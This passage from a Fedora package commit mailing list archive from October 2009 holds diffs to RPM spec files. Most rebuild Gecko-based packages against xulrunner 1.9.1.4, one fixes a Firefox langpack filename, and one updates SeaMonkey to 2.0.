+%define gecko_version 1.9.1.4
 %else
 %define gecko_version 1.9.0.6
 %endif
@@ -13,7 +13,7 @@
 Summary:       Interface to the Mozilla embedding widget
 Name:          perl-Gtk2-MozEmbed
 Version:       0.08
-Release:       %{specfilever}%{?dist}.7
+Release:       %{specfilever}%{?dist}.8
 
 Group:         Development/Libraries
 License:       LGPLv2+
@@ -89,6 +89,9 @@ find $RPM_BUILD_ROOT -type d -depth -exe
 
 
 %changelog
+* Tue Oct 27 2009 Jan Horak <jhorak at redhat.com> - 0.08-6.8
+- Rebuild against newer gecko
+
 * Fri Sep 11 2009 Jan Horak <jhorak at redhat.com> - 0.08-6.7
 - Rebuild against newer gecko
 



From xhorak at fedoraproject.org  Tue Oct 27 14:51:10 2009
From: xhorak at fedoraproject.org (Jan Horak)
Date: Tue, 27 Oct 2009 14:51:10 +0000 (UTC)
Subject: rpms/chmsee/F-11 chmsee.spec,1.37,1.38
Message-ID: <20091027145110.7667011C00E6@cvs1.fedora.phx.redhat.com>

Author: xhorak

Update of /cvs/pkgs/rpms/chmsee/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24982

Modified Files:
	chmsee.spec 
Log Message:
* Tue Oct 27 2009 Jan Horak <jhorak at redhat.com> - 1.0.1-12
- Rebuild against newer gecko



Index: chmsee.spec
===================================================================
RCS file: /cvs/pkgs/rpms/chmsee/F-11/chmsee.spec,v
retrieving revision 1.37
retrieving revision 1.38
diff -u -p -r1.37 -r1.38
--- chmsee.spec	9 Sep 2009 14:04:48 -0000	1.37
+++ chmsee.spec	27 Oct 2009 14:51:10 -0000	1.38
@@ -1,6 +1,6 @@
 Name:		chmsee
 Version:	1.0.1
-Release:	11%{?dist}
+Release:	12%{?dist}
 Summary(zh_CN):	CHM ??????, ?? Gtk2+
 Summary:	A Gtk+2 CHM document viewer
 Group:		Applications/Publishing
@@ -108,6 +108,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_datadir}/icons/hicolor/*/apps/chmsee.png
 
 %changelog
+* Tue Oct 27 2009 Jan Horak <jhorak at redhat.com> - 1.0.1-12
+- Rebuild against newer gecko
+
 * Wed Sep 09 2009 Jan Horak <jhorak at redhat.com> - 1.0.1-11
 - Rebuild against newer gecko
 



From xhorak at fedoraproject.org  Tue Oct 27 14:51:19 2009
From: xhorak at fedoraproject.org (Jan Horak)
Date: Tue, 27 Oct 2009 14:51:19 +0000 (UTC)
Subject: rpms/gnome-python2-extras/devel gnome-python2-extras.spec, 1.59,
	1.60
Message-ID: <20091027145119.75E4611C00E6@cvs1.fedora.phx.redhat.com>

Author: xhorak

Update of /cvs/pkgs/rpms/gnome-python2-extras/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25029

Modified Files:
	gnome-python2-extras.spec 
Log Message:
* Tue Oct 27 2009 Jan Horak <jhorak at redhat.com> - 2.25.3-12
- Rebuild against newer gecko



Index: gnome-python2-extras.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gnome-python2-extras/devel/gnome-python2-extras.spec,v
retrieving revision 1.59
retrieving revision 1.60
diff -u -p -r1.59 -r1.60
--- gnome-python2-extras.spec	11 Sep 2009 07:56:12 -0000	1.59
+++ gnome-python2-extras.spec	27 Oct 2009 14:51:19 -0000	1.60
@@ -5,7 +5,7 @@
 %define gnome_panel_version 2.2.0
 %define gnome_python_version 2.10.0
 %define gtkhtml2_version 2.3.1
-%define gecko_version 1.9.1.3
+%define gecko_version 1.9.1.4
 %define gtkspell_version 2.0.7
 %define libgda_version 3.99.9
 %define libgdl_version 2.24.0
@@ -14,7 +14,7 @@
 
 Name: gnome-python2-extras
 Version: 2.25.3
-Release: 11%{?dist}
+Release: 12%{?dist}
 License: GPLv2+ and LGPLv2+
 Group: Development/Languages
 Summary: Additional PyGNOME Python extension modules
@@ -186,6 +186,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_libdir}/pkgconfig/pygda-4.0.pc
 
 %changelog
+* Tue Oct 27 2009 Jan Horak <jhorak at redhat.com> - 2.25.3-12
+- Rebuild against newer gecko
+
 * Fri Sep 11 2009 Jan Horak <jhorak at redhat.com> - 2.25.3-11
 - Rebuild against newer gecko
 



From xhorak at fedoraproject.org  Tue Oct 27 14:52:16 2009
From: xhorak at fedoraproject.org (Jan Horak)
Date: Tue, 27 Oct 2009 14:52:16 +0000 (UTC)
Subject: rpms/Miro/devel Miro.spec,1.63,1.64
Message-ID: <20091027145216.E62C611C00E6@cvs1.fedora.phx.redhat.com>

Author: xhorak

Update of /cvs/pkgs/rpms/Miro/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25320

Modified Files:
	Miro.spec 
Log Message:
* Tue Oct 27 2009 Jan Horak <jhorak at redhat.com> - 2.5.2-5
- Rebuild against newer gecko



Index: Miro.spec
===================================================================
RCS file: /cvs/pkgs/rpms/Miro/devel/Miro.spec,v
retrieving revision 1.63
retrieving revision 1.64
diff -u -p -r1.63 -r1.64
--- Miro.spec	11 Sep 2009 07:57:29 -0000	1.63
+++ Miro.spec	27 Oct 2009 14:52:16 -0000	1.64
@@ -1,11 +1,11 @@
 %{!?python_sitelib: %define python_sitelib %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib()")}
 %{!?python_sitearch: %define python_sitearch %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib(1)")}
 
-%define gecko_ver 1.9.1.3
+%define gecko_ver 1.9.1.4
 
 Name:           Miro
 Version:        2.5.2
-Release:        4%{?dist}
+Release:        5%{?dist}
 Summary:        Miro - Internet TV Player
 
 Group:          Applications/Multimedia
@@ -94,6 +94,9 @@ update-desktop-database %{_datadir}/appl
 
 
 %changelog
+* Tue Oct 27 2009 Jan Horak <jhorak at redhat.com> - 2.5.2-5
+- Rebuild against newer gecko
+
 * Fri Sep 11 2009 Jan Horak <jhorak at redhat.com> - 2.5.2-4
 - Rebuild against newer gecko
 



From xhorak at fedoraproject.org  Tue Oct 27 14:52:56 2009
From: xhorak at fedoraproject.org (Jan Horak)
Date: Tue, 27 Oct 2009 14:52:56 +0000 (UTC)
Subject: rpms/firefox/F-10 firefox.spec,1.331,1.332
Message-ID: <20091027145256.76A5211C00E6@cvs1.fedora.phx.redhat.com>

Author: xhorak

Update of /cvs/pkgs/rpms/firefox/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25497

Modified Files:
	firefox.spec 
Log Message:
Fix langpack filename


Index: firefox.spec
===================================================================
RCS file: /cvs/pkgs/rpms/firefox/F-10/firefox.spec,v
retrieving revision 1.331
retrieving revision 1.332
diff -u -p -r1.331 -r1.332
--- firefox.spec	27 Oct 2009 14:44:10 -0000	1.331
+++ firefox.spec	27 Oct 2009 14:52:56 -0000	1.332
@@ -29,7 +29,7 @@ Group:          Applications/Internet
 %endif
 Source0:        %{tarball}
 %if %{build_langpacks}
-Source2:        firefox-langpacks-%{version}-2001020.tar.bz2
+Source2:        firefox-langpacks-%{version}-20091020.tar.bz2
 %endif
 Source10:       firefox-mozconfig
 Source11:       firefox-mozconfig-branded



From xhorak at fedoraproject.org  Tue Oct 27 14:54:05 2009
From: xhorak at fedoraproject.org (Jan Horak)
Date: Tue, 27 Oct 2009 14:54:05 +0000 (UTC)
Subject: rpms/eclipse/F-11 eclipse.spec,1.635,1.636
Message-ID: <20091027145405.5389F11C00E6@cvs1.fedora.phx.redhat.com>

Author: xhorak

Update of /cvs/pkgs/rpms/eclipse/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26156

Modified Files:
	eclipse.spec 
Log Message:
* Tue Oct 27 2009 Jan Horak <jhorak at redhat.com> - 1:3.4.2-17
- Rebuild against newer gecko



Index: eclipse.spec
===================================================================
RCS file: /cvs/pkgs/rpms/eclipse/F-11/eclipse.spec,v
retrieving revision 1.635
retrieving revision 1.636
diff -u -p -r1.635 -r1.636
--- eclipse.spec	28 Sep 2009 12:59:26 -0000	1.635
+++ eclipse.spec	27 Oct 2009 14:54:03 -0000	1.636
@@ -29,7 +29,7 @@ Epoch:  1
 Summary:        An open, extensible IDE
 Name:           eclipse
 Version:        %{eclipse_majmin}.%{eclipse_micro}
-Release:        16%{?dist}
+Release:        17%{?dist}
 License:        EPL
 Group:          Text Editors/Integrated Development Environments (IDE)
 URL:            http://www.eclipse.org/
@@ -1512,6 +1512,9 @@ fi
 #%{_libdir}/%{name}/configuration/org.eclipse.equinox.source
 
 %changelog
+* Tue Oct 27 2009 Jan Horak <jhorak at redhat.com> - 1:3.4.2-17
+- Rebuild against newer gecko
+
 * Mon Sep 28 2009 Alexander Kurtakov <akurtako at redhat.com> 1:3.4.2-16
 - Add post 3.4.2 jdt.core patches. Fixes #525737.
 



From xhorak at fedoraproject.org  Tue Oct 27 14:54:42 2009
From: xhorak at fedoraproject.org (Jan Horak)
Date: Tue, 27 Oct 2009 14:54:42 +0000 (UTC)
Subject: rpms/blam/F-12 blam.spec,1.35,1.36
Message-ID: <20091027145442.677E711C00E6@cvs1.fedora.phx.redhat.com>

Author: xhorak

Update of /cvs/pkgs/rpms/blam/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26597

Modified Files:
	blam.spec 
Log Message:
* Tue Oct 27 2009 Jan Horak <jhorak at redhat.com> - 1.8.5-19
- Rebuild against newer gecko



Index: blam.spec
===================================================================
RCS file: /cvs/pkgs/rpms/blam/F-12/blam.spec,v
retrieving revision 1.35
retrieving revision 1.36
diff -u -p -r1.35 -r1.36
--- blam.spec	26 Oct 2009 20:07:59 -0000	1.35
+++ blam.spec	27 Oct 2009 14:54:42 -0000	1.36
@@ -1,11 +1,11 @@
 ## XXX: Hopefully Mono, Blam and multilib will play nicely soon...
 %define	_libdir			%{_prefix}/lib
 %define	dbus_sharp_min_version	0.60
-%define	gecko_version		1.9.1.3
+%define	gecko_version		1.9.1.4
 
 Name:		blam
 Version:	1.8.5
-Release:	18%{?dist}
+Release:	19%{?dist}
 Summary:	An RSS/RDF feed reader
 
 Group:		Applications/Internet
@@ -138,6 +138,9 @@ update-desktop-database &> /dev/null ||:
 %{_mandir}/man?/%{name}.1*
 
 %changelog
+* Tue Oct 27 2009 Jan Horak <jhorak at redhat.com> - 1.8.5-19
+- Rebuild against newer gecko
+
 * Mon Oct 26 2009 Dennis Gilmore <dennis at ausil.us> - 1.8.5-18
 - ExcludeArch sparc64
 



From xhorak at fedoraproject.org  Tue Oct 27 14:55:35 2009
From: xhorak at fedoraproject.org (Jan Horak)
Date: Tue, 27 Oct 2009 14:55:35 +0000 (UTC)
Subject: rpms/evolution-rss/F-11 evolution-rss.spec,1.33,1.34
Message-ID: <20091027145535.D71EB11C00E6@cvs1.fedora.phx.redhat.com>

Author: xhorak

Update of /cvs/pkgs/rpms/evolution-rss/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26836

Modified Files:
	evolution-rss.spec 
Log Message:
* Tue Oct 27 2009 Jan Horak <jhorak at redhat.com> - 0.1.4-5
- Rebuild against newer gecko



Index: evolution-rss.spec
===================================================================
RCS file: /cvs/pkgs/rpms/evolution-rss/F-11/evolution-rss.spec,v
retrieving revision 1.33
retrieving revision 1.34
diff -u -p -r1.33 -r1.34
--- evolution-rss.spec	16 Sep 2009 17:24:31 -0000	1.33
+++ evolution-rss.spec	27 Oct 2009 14:55:35 -0000	1.34
@@ -1,7 +1,7 @@
 Name:		evolution-rss
 Summary:	Evolution RSS Reader
 Version:	0.1.4
-Release:	4%{?dist}
+Release:	5%{?dist}
 Group:		Applications/Internet
 License:	GPLv2 and GPLv2+
 URL:		http://gnome.eu.org/evo/index.php/Evolution_RSS_Reader_Plugin
@@ -85,6 +85,9 @@ fi
 %{_libdir}/bonobo/servers/GNOME_Evolution_RSS_*.server
 
 %changelog
+* Tue Oct 27 2009 Jan Horak <jhorak at redhat.com> - 0.1.4-5
+- Rebuild against newer gecko
+
 * Wed Sep 16 2009 Lucian Langa <cooly at gnome.eu.org> - 0.1.4-4
 - added patch to fix folder properties in evolution (#523552)
 - added upstream patch to fix folder rename (gnome #594704)



From xhorak at fedoraproject.org  Tue Oct 27 14:55:41 2009
From: xhorak at fedoraproject.org (Jan Horak)
Date: Tue, 27 Oct 2009 14:55:41 +0000 (UTC)
Subject: rpms/mozvoikko/F-12 mozvoikko.spec,1.18,1.19
Message-ID: <20091027145541.0CD7C11C00E6@cvs1.fedora.phx.redhat.com>

Author: xhorak

Update of /cvs/pkgs/rpms/mozvoikko/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26865

Modified Files:
	mozvoikko.spec 
Log Message:
* Tue Oct 27 2009 Jan Horak <jhorak at redhat.com> - 1.0-5
- Rebuild against newer gecko



Index: mozvoikko.spec
===================================================================
RCS file: /cvs/pkgs/rpms/mozvoikko/F-12/mozvoikko.spec,v
retrieving revision 1.18
retrieving revision 1.19
diff -u -p -r1.18 -r1.19
--- mozvoikko.spec	15 Sep 2009 20:41:12 -0000	1.18
+++ mozvoikko.spec	27 Oct 2009 14:55:40 -0000	1.19
@@ -1,5 +1,5 @@
 # For the xulrunner unstable requires
-%define gecko_ver 1.9.1.3
+%define gecko_ver 1.9.1.4
 # These come from install.rdf
 %global firefox_app_id \{ec8030f7-c20a-464f-9b0e-13a3a9e97384\}
 %global firefox_ext_id \{b676e3ff-cda7-4e0c-b2b8-74e4bb40a67a\}
@@ -11,7 +11,7 @@
 
 Name:           mozvoikko
 Version:        1.0
-Release:        4%{?dist}
+Release:        5%{?dist}
 Summary:        Finnish Voikko spell-checker extension for Mozilla programs
 Group:          Applications/Internet
 License:        GPLv2+
@@ -67,6 +67,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Tue Oct 27 2009 Jan Horak <jhorak at redhat.com> - 1.0-5
+- Rebuild against newer gecko
+
 * Tue Sep 15 2009 Ville-Pekka Vainio <vpivaini AT cs.helsinki.fi> - 1.0-4
 - Drop Requires for libmalaga, the current version of libvoikko in Fedora
   Rawhide doesn't depend on libmalaga anymore



From stransky at fedoraproject.org  Tue Oct 27 14:56:09 2009
From: stransky at fedoraproject.org (Martin Stransky)
Date: Tue, 27 Oct 2009 14:56:09 +0000 (UTC)
Subject: rpms/seamonkey/F-12 seamonkey.spec,1.66,1.67 sources,1.31,1.32
Message-ID: <20091027145609.0152C11C00E6@cvs1.fedora.phx.redhat.com>

Author: stransky

Update of /cvs/pkgs/rpms/seamonkey/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv27084

Modified Files:
	seamonkey.spec sources 
Log Message:
Update to 2.0


Index: seamonkey.spec
===================================================================
RCS file: /cvs/pkgs/rpms/seamonkey/F-12/seamonkey.spec,v
retrieving revision 1.66
retrieving revision 1.67
diff -u -p -r1.66 -r1.67
--- seamonkey.spec	21 Oct 2009 09:44:48 -0000	1.66
+++ seamonkey.spec	27 Oct 2009 14:56:08 -0000	1.67
@@ -5,26 +5,26 @@
 %define minimum_build_nspr_version 4.7.2
 %define minimum_build_nss_version 3.12
 
-%define prerelease_tag rc2
+%define prerelease_tag
 
 %define build_langpacks 1
 
 %define _unpackaged_files_terminate_build 0
 %define builddir %{_builddir}/%{name}-%{version}
 %define mozdir %{_libdir}/seamonkey-%{version}
-%define sources_subdir comm-central
+%define sources_subdir comm-1.9.1
 
 
 Name:           seamonkey
 Summary:        Web browser, e-mail, news, IRC client, HTML editor
 Version:        2.0
-Release:        6%{?dist}
+Release:        7%{?dist}
 URL:            http://www.mozilla.org/projects/seamonkey/
 License:        MPLv1.1
 Group:          Applications/Internet
 
 Source0:        seamonkey-%{version}%{?prerelease_tag}.source.tar.bz2
-Source1:        seamonkey-langpacks-%{version}-20091019.tar.bz2
+Source1:        seamonkey-langpacks-%{version}-20091027.tar.bz2
 Source2:        seamonkey-icon.png
 Source3:        seamonkey.sh.in
 Source4:        seamonkey.desktop
@@ -342,6 +342,9 @@ update-desktop-database %{_datadir}/appl
 
 
 %changelog
+* Tue Oct 27 2009 Martin Stransky <stransky at redhat.com> 2.0-7
+- Update to 2.0
+
 * Tue Oct 21 2009 Martin Stransky <stransky at redhat.com> 2.0-6
 - Fixed launcher script
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/seamonkey/F-12/sources,v
retrieving revision 1.31
retrieving revision 1.32
diff -u -p -r1.31 -r1.32
--- sources	19 Oct 2009 09:12:15 -0000	1.31
+++ sources	27 Oct 2009 14:56:08 -0000	1.32
@@ -1,2 +1,2 @@
-738c0f17bf4148f57cb5811c3ea4f7fc  seamonkey-2.0rc2.source.tar.bz2
-a52f67c3f492af7b7630679f412adc19  seamonkey-langpacks-2.0-20091019.tar.bz2
+494608587e3ba4e4cc2e754d95154435  seamonkey-2.0.source.tar.bz2
+91386d040b662051e096ad4441172899  seamonkey-langpacks-2.0-20091027.tar.bz2



From xhorak at fedoraproject.org  Tue Oct 27 14:57:19 2009
From: xhorak at fedoraproject.org (Jan Horak)
Date: Tue, 27 Oct 2009 14:57:19 +0000 (UTC)
Subject: rpms/galeon/F-11 galeon.spec,1.68,1.69
Message-ID: <20091027145719.8EB3511C00E6@cvs1.fedora.phx.redhat.com>

Author: xhorak

Update of /cvs/pkgs/rpms/galeon/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv27331

Modified Files:
	galeon.spec 
Log Message:
* Tue Oct 27 2009 Jan Horak <jhorak at redhat.com> - 2.0.7-17
- Rebuild against newer gecko



Index: galeon.spec
===================================================================
RCS file: /cvs/pkgs/rpms/galeon/F-11/galeon.spec,v
retrieving revision 1.68
retrieving revision 1.69
diff -u -p -r1.68 -r1.69
--- galeon.spec	25 Sep 2009 07:27:17 -0000	1.68
+++ galeon.spec	27 Oct 2009 14:57:19 -0000	1.69
@@ -1,9 +1,9 @@
-%define gecko_ver 1.9.1.3
+%define gecko_ver 1.9.1.4
 
 Summary:	GNOME2 Web browser based on Mozilla
 Name:		galeon
 Version:	2.0.7
-Release:	16%{?dist}
+Release:	17%{?dist}
 License:	GPLv2+
 Group:		Applications/Internet
 URL:		http://galeon.sourceforge.net/
@@ -133,6 +133,9 @@ update-desktop-database > /dev/null 2>&1
 
 
 %changelog
+* Tue Oct 27 2009 Jan Horak <jhorak at redhat.com> - 2.0.7-17
+- Rebuild against newer gecko
+
 * Fri Sep 25 2009 Denis Leroy <denis at poolshark.org> - 2.0.7-16
 - Added patch from Yanko Kaneti (#525417) to fix crash on startup
 



From xhorak at fedoraproject.org  Tue Oct 27 14:57:22 2009
From: xhorak at fedoraproject.org (Jan Horak)
Date: Tue, 27 Oct 2009 14:57:22 +0000 (UTC)
Subject: rpms/gnome-web-photo/F-12 gnome-web-photo.spec,1.29,1.30
Message-ID: <20091027145722.328BB11C00E6@cvs1.fedora.phx.redhat.com>

Author: xhorak

Update of /cvs/pkgs/rpms/gnome-web-photo/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv27359

Modified Files:
	gnome-web-photo.spec 
Log Message:
* Tue Oct 27 2009 Jan Horak <jhorak at redhat.com> - 0.9-2
- Rebuild against newer gecko



Index: gnome-web-photo.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gnome-web-photo/F-12/gnome-web-photo.spec,v
retrieving revision 1.29
retrieving revision 1.30
diff -u -p -r1.29 -r1.30
--- gnome-web-photo.spec	24 Sep 2009 02:03:30 -0000	1.29
+++ gnome-web-photo.spec	27 Oct 2009 14:57:21 -0000	1.30
@@ -1,9 +1,9 @@
-%define gecko_version 1.9.1.3
+%define gecko_version 1.9.1.4
 
 Summary: HTML pages thumbnailer
 Name: gnome-web-photo
 Version: 0.9
-Release: 1%{?dist}
+Release: 2%{?dist}
 License: LGPLv2+
 Group: Applications/Internet
 URL: http://download.gnome.org/sources/gnome-web-photo/%{version}/
@@ -83,6 +83,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_datadir}/gnome-web-photo
 
 %changelog
+* Tue Oct 27 2009 Jan Horak <jhorak at redhat.com> - 0.9-2
+- Rebuild against newer gecko
+
 * Wed Sep 23 2009 Matthias Clasen <mclasen at redhat.com> - 0.9-1
 - Update to 0.9
 



From xhorak at fedoraproject.org  Tue Oct 27 14:59:30 2009
From: xhorak at fedoraproject.org (Jan Horak)
Date: Tue, 27 Oct 2009 14:59:30 +0000 (UTC)
Subject: rpms/perl-Gtk2-MozEmbed/F-12 perl-Gtk2-MozEmbed.spec,1.9,1.10
Message-ID: <20091027145930.B5F5611C00E6@cvs1.fedora.phx.redhat.com>

Author: xhorak

Update of /cvs/pkgs/rpms/perl-Gtk2-MozEmbed/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv28205

Modified Files:
	perl-Gtk2-MozEmbed.spec 
Log Message:
* Tue Oct 27 2009 Jan Horak <jhorak at redhat.com> - 0.08-6.8
- Rebuild against newer gecko



Index: perl-Gtk2-MozEmbed.spec
===================================================================
RCS file: /cvs/pkgs/rpms/perl-Gtk2-MozEmbed/F-12/perl-Gtk2-MozEmbed.spec,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- perl-Gtk2-MozEmbed.spec	11 Sep 2009 07:54:53 -0000	1.9
+++ perl-Gtk2-MozEmbed.spec	27 Oct 2009 14:59:29 -0000	1.10
@@ -1,7 +1,7 @@
 %define perlname Gtk2-MozEmbed
 
 %if 0%{?fedora} >= 11
-%define gecko_version 1.9.1.3
+%define gecko_version 1.9.1.4
 %else
 %define gecko_version 1.9.0.6
 %endif
@@ -13,7 +13,7 @@
 Summary:       Interface to the Mozilla embedding widget
 Name:          perl-Gtk2-MozEmbed
 Version:       0.08
-Release:       %{specfilever}%{?dist}.7
+Release:       %{specfilever}%{?dist}.8
 
 Group:         Development/Libraries
 License:       LGPLv2+
@@ -89,6 +89,9 @@ find $RPM_BUILD_ROOT -type d -depth -exe
 
 
 %changelog
+* Tue Oct 27 2009 Jan Horak <jhorak at redhat.com> - 0.08-6.8
+- Rebuild against newer gecko
+
 * Fri Sep 11 2009 Jan Horak <jhorak at redhat.com> - 0.08-6.7
 - Rebuild against newer gecko
 



From xhorak at fedoraproject.org  Tue Oct 27 14:59:35 2009
From: xhorak at fedoraproject.org (Jan Horak)
Date: Tue, 27 Oct 2009 14:59:35 +0000 (UTC)
Subject: rpms/gnome-python2-extras/F-11 gnome-python2-extras.spec,1.54,1.55
Message-ID: <20091027145935.2105C11C00E6@cvs1.fedora.phx.redhat.com>

Author: xhorak

Update of /cvs/pkgs/rpms/gnome-python2-extras/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv28250

Modified Files:
	gnome-python2-extras.spec 
Log Message:
* Tue Oct 27 2009 Jan Horak <jhorak at redhat.com> - 2.25.3-8
- Rebuild against newer gecko



Index: gnome-python2-extras.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gnome-python2-extras/F-11/gnome-python2-extras.spec,v
retrieving revision 1.54
retrieving revision 1.55
diff -u -p -r1.54 -r1.55
--- gnome-python2-extras.spec	9 Sep 2009 14:09:34 -0000	1.54
+++ gnome-python2-extras.spec	27 Oct 2009 14:59:34 -0000	1.55
@@ -5,7 +5,7 @@
 %define gnome_panel_version 2.2.0
 %define gnome_python_version 2.10.0
 %define gtkhtml2_version 2.3.1
-%define gecko_version 1.9.1.3
+%define gecko_version 1.9.1.4
 %define gtkspell_version 2.0.7
 %define libgda_version 3.99.9
 %define libgdl_version 2.24.0
@@ -14,7 +14,7 @@
 
 Name: gnome-python2-extras
 Version: 2.25.3
-Release: 7%{?dist}
+Release: 8%{?dist}
 License: GPLv2+ and LGPLv2+
 Group: Development/Languages
 Summary: The sources for additional. PyGNOME Python extension modules
@@ -180,6 +180,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_libdir}/pkgconfig/pygda-4.0.pc
 
 %changelog
+* Tue Oct 27 2009 Jan Horak <jhorak at redhat.com> - 2.25.3-8
+- Rebuild against newer gecko
+
 * Wed Sep 09 2009 Jan Horak <jhorak at redhat.com> - 2.25.3-7
 - Rebuild against newer gecko
 



From xhorak at fedoraproject.org  Tue Oct 27 15:00:22 2009
From: xhorak at fedoraproject.org (Jan Horak)
Date: Tue, 27 Oct 2009 15:00:22 +0000 (UTC)
Subject: rpms/gnome-python2-extras/F-12 gnome-python2-extras.spec,1.59,1.60
Message-ID: <20091027150022.4CE5B11C02C6@cvs1.fedora.phx.redhat.com>

Author: xhorak

Update of /cvs/pkgs/rpms/gnome-python2-extras/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv28780

Modified Files:
	gnome-python2-extras.spec 
Log Message:
* Tue Oct 27 2009 Jan Horak <jhorak at redhat.com> - 2.25.3-12
- Rebuild against newer gecko



Index: gnome-python2-extras.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gnome-python2-extras/F-12/gnome-python2-extras.spec,v
retrieving revision 1.59
retrieving revision 1.60
diff -u -p -r1.59 -r1.60
--- gnome-python2-extras.spec	11 Sep 2009 07:56:12 -0000	1.59
+++ gnome-python2-extras.spec	27 Oct 2009 15:00:21 -0000	1.60
@@ -5,7 +5,7 @@
 %define gnome_panel_version 2.2.0
 %define gnome_python_version 2.10.0
 %define gtkhtml2_version 2.3.1
-%define gecko_version 1.9.1.3
+%define gecko_version 1.9.1.4
 %define gtkspell_version 2.0.7
 %define libgda_version 3.99.9
 %define libgdl_version 2.24.0
@@ -14,7 +14,7 @@
 
 Name: gnome-python2-extras
 Version: 2.25.3
-Release: 11%{?dist}
+Release: 12%{?dist}
 License: GPLv2+ and LGPLv2+
 Group: Development/Languages
 Summary: Additional PyGNOME Python extension modules
@@ -186,6 +186,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_libdir}/pkgconfig/pygda-4.0.pc
 
 %changelog
+* Tue Oct 27 2009 Jan Horak <jhorak at redhat.com> - 2.25.3-12
+- Rebuild against newer gecko
+
 * Fri Sep 11 2009 Jan Horak <jhorak at redhat.com> - 2.25.3-11
 - Rebuild against newer gecko
 



From xhorak at fedoraproject.org  Tue Oct 27 15:00:23 2009
From: xhorak at fedoraproject.org (Jan Horak)
Date: Tue, 27 Oct 2009 15:00:23 +0000 (UTC)
Subject: rpms/gnome-web-photo/F-11 gnome-web-photo.spec,1.26,1.27
Message-ID: <20091027150023.DEE6E11C02C6@cvs1.fedora.phx.redhat.com>

Author: xhorak

Update of /cvs/pkgs/rpms/gnome-web-photo/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv28818

Modified Files:
	gnome-web-photo.spec 
Log Message:
* Tue Oct 27 2009 Jan Horak <jhorak at redhat.com> - 0.7-7
- Rebuild against newer gecko



Index: gnome-web-photo.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gnome-web-photo/F-11/gnome-web-photo.spec,v
retrieving revision 1.26
retrieving revision 1.27
diff -u -p -r1.26 -r1.27
--- gnome-web-photo.spec	9 Sep 2009 14:10:13 -0000	1.26
+++ gnome-web-photo.spec	27 Oct 2009 15:00:23 -0000	1.27
@@ -1,9 +1,9 @@
-%define gecko_version 1.9.1.3
+%define gecko_version 1.9.1.4
 
 Summary: HTML pages thumbnailer
 Name: gnome-web-photo
 Version: 0.7
-Release: 6%{?dist}
+Release: 7%{?dist}
 License: LGPLv2+
 Group: Applications/Internet
 URL: http://ftp.gnome.org/pub/GNOME/sources/gnome-web-photo/%{version}/
@@ -83,6 +83,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_datadir}/gnome-web-photo
 
 %changelog
+* Tue Oct 27 2009 Jan Horak <jhorak at redhat.com> - 0.7-7
+- Rebuild against newer gecko
+
 * Wed Sep 09 2009 Jan Horak <jhorak at redhat.com> - 0.7-6
 - Rebuild against newer gecko
 



From xhorak at fedoraproject.org  Tue Oct 27 15:01:43 2009
From: xhorak at fedoraproject.org (Jan Horak)
Date: Tue, 27 Oct 2009 15:01:43 +0000 (UTC)
Subject: rpms/Miro/F-12 Miro.spec,1.63,1.64
Message-ID: <20091027150143.2352711C00E6@cvs1.fedora.phx.redhat.com>

Author: xhorak

Update of /cvs/pkgs/rpms/Miro/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29190

Modified Files:
	Miro.spec 
Log Message:
* Tue Oct 27 2009 Jan Horak <jhorak at redhat.com> - 2.5.2-5
- Rebuild against newer gecko



Index: Miro.spec
===================================================================
RCS file: /cvs/pkgs/rpms/Miro/F-12/Miro.spec,v
retrieving revision 1.63
retrieving revision 1.64
diff -u -p -r1.63 -r1.64
--- Miro.spec	11 Sep 2009 07:57:29 -0000	1.63
+++ Miro.spec	27 Oct 2009 15:01:42 -0000	1.64
@@ -1,11 +1,11 @@
 %{!?python_sitelib: %define python_sitelib %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib()")}
 %{!?python_sitearch: %define python_sitearch %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib(1)")}
 
-%define gecko_ver 1.9.1.3
+%define gecko_ver 1.9.1.4
 
 Name:           Miro
 Version:        2.5.2
-Release:        4%{?dist}
+Release:        5%{?dist}
 Summary:        Miro - Internet TV Player
 
 Group:          Applications/Multimedia
@@ -94,6 +94,9 @@ update-desktop-database %{_datadir}/appl
 
 
 %changelog
+* Tue Oct 27 2009 Jan Horak <jhorak at redhat.com> - 2.5.2-5
+- Rebuild against newer gecko
+
 * Fri Sep 11 2009 Jan Horak <jhorak at redhat.com> - 2.5.2-4
 - Rebuild against newer gecko
 



From xhorak at fedoraproject.org  Tue Oct 27 15:02:04 2009
From: xhorak at fedoraproject.org (Jan Horak)
Date: Tue, 27 Oct 2009 15:02:04 +0000 (UTC)
Subject: rpms/google-gadgets/F-11 google-gadgets.spec,1.20,1.21
